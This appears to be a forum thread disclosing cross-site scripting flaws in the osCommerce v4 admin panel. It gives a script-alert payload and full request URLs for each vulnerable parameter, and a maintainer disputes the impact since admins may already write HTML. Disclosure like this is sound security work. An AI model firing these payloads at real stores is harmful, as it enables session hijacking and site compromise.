Multiple Cross-site Scripting (XSS) vulnerabilities in osCommerce-v4

[CrownZTX]

We have recently discovered some XSS vulnerabilities in osCommerce v4 as follows. Could we ask if it would be possible to make them public?

1. Multiple cross-site scripting (XSS) vulnerabilities allow attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the "search", "brand", "supplier", "source", "price_from", "price_to", "weight_from" and "weight_to" parameters of /admin/categories. All these parameters can use the following payload:

"><script>alert('xss')</script>

By accessing the following url, we can observe that all the payloads are triggered.

http://cms.oscom4.com/admin/categories?by=&search="><script>alert('search')</script>&brand="><script>alert('brand')</script>&status=&stock=&supplier="><script>alert('supp')</script>&source="><script>alert('src')</script>&price_from="><script>alert('pf')</script>&price_to="><script>alert('pt')</script>&weight_from="><script>alert('wf')</script>&weight_to="><script>alert('wt')</script>&weight_value=kg&type_not_listing=1&listing_type=category&category_id=0&brand_id=0&row=0

2. Multiple cross-site scripting (XSS) vulnerabilities allow attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the "name", "product", "from" and "to" parameters of /admin/reviews. All these parameters can use the following payload:

"><script>alert('xss')</script>

After clicking the search button and refreshing the page, all payloads are triggered. This is equivalent to directly visiting the following link：

http://cms.oscom4.com/admin/reviews?status=&cID=&name="><script>alert('name')</script>&product="><script>alert('prdt')</script>&from="><script>alert('from')</script>&to="><script>alert('to')</script>&row=0

3. Similarly, the parameters 'group,' 'country,' and 'company' in /admin/customers, the parameters 'search', "delivery_country" and "delivery_state" in /admin/orders, and the parameters 'search', "delivery_country" and "delivery_state" in /admin/tmp-orders also have the same issue. The similar request addresses are as follows:

http://cms.oscom4.com/admin/customers?by=&search="><script>alert('sea')</script>&group="><script>alert('grp')</script>&country="><script>alert('cty')</script>&company="><script>alert('cpy')</script>&guest=&status=&date=presel&interval=&title=&row=0

http://cms.oscom4.com/admin/orders?search="><script>alert('xss')</script>

http://cms.oscom4.com/admin/orders?date=presel&interval=&delivery_country="><script>alert('dcty')</script>>&delivery_state="><script>alert('dstt')</script>&row=0&fs=closed&mode=

http://cms.oscom4.com/admin/tmp-orders?by=oID&search="><script>alert('search')</script>

http://cms.oscom4.com/admin/tmp-orders?date=presel&interval=&delivery_country="><script>alert('dcty')</script>>&delivery_state="><script>alert('dstt')</script>&row=0&fs=closed&mode=

4. Similar but with slight differences, the parameters "delivery_country" and "delivery_state" in /admin/filters, when using similar payloads, can lead to stored XSS.

5. The parameter "description[1][name]" in /admin/orders-comment-template/edit, when using the following payload, can lead to a stored XSS.

<script>alert('xss')</script>

By accessing the following url, we can observe that all the payloads are triggered.

http://cms.oscom4.com/admin/orders-comment-template

6. Injecting the payload <script>alert('xss')</script> into the "CloudServices[service]" parameter in /admin/printers/service will result in a stored XSS. Accessing /admin/printers will trigger the payload.

8. Injecting the payload <script>alert('xss')</script> into the "platform_name" parameter in /admin/platforms/edit will result in a stored XSS. Accessing /admin/virtual-gift-card will trigger the payload.

9. Injecting the payload <script>alert('xss')</script> into the "tittle" parameter in /admin/admin-menu/add will result in a stored XSS. Accessing /admin/admin-menu will trigger the payload.

10. Injecting the payload <script>alert('xss')</script> into the "products_name[1][1]" parameter in /admin/virtual-gift-card will result in a stored XSS. Accessing /admin/featured/featurededit will trigger the payload.

11. Injecting the payload <script>alert('xss')</script> into the "admin_firstname" and "admin_lastname" parameters in /admin/adminaccount/nameform, the "admin_email_address" parameter in /admin/adminaccount/emailform, and the "admin_username" parameter in /admin/adminaccount/usernameform will result in stored XSS vulnerabilities. Accessing /admin/adminaccount will trigger these payloads.

[x56g]

What is the impact of these vulnerabilities? You are already admin and it is quite common to let admin users write custom CSS and HTML in the backend.

[CrownZTX]

The exploitation difficulty of these vulnerabilities is relatively high compared to low-privileged vulnerabilities, but there is still a possibility of exploitation. For example:

1. If a hacker gains access to the backend management system using weak passwords and leaves a stored XSS payload.
2. The administrator detects the intrusion, changes the admin password, but fails to notice the stored XSS.
3. The administrator logs in with the new password, triggering the stored XSS. The hacker can then hijack the session through this XSS vulnerability.

Therefore, for administrators, it is essential to vigilantly identify and address various forms of vulnerabilities, regardless of how difficult they may be perceived.

[x56g]

If the admin user is compromised, it's game over anyway, so there's no need to prevent high-privileged users from editing HTML. This would prevent the admin user from being able to upload or edit themes, email templates, and more. The admin user is permitted to write pages using HTML, so they are allowed to write HTML, and there is no other user to whom you could delegate your privileges. The impact of these "vulnerabilities" is nonexistent.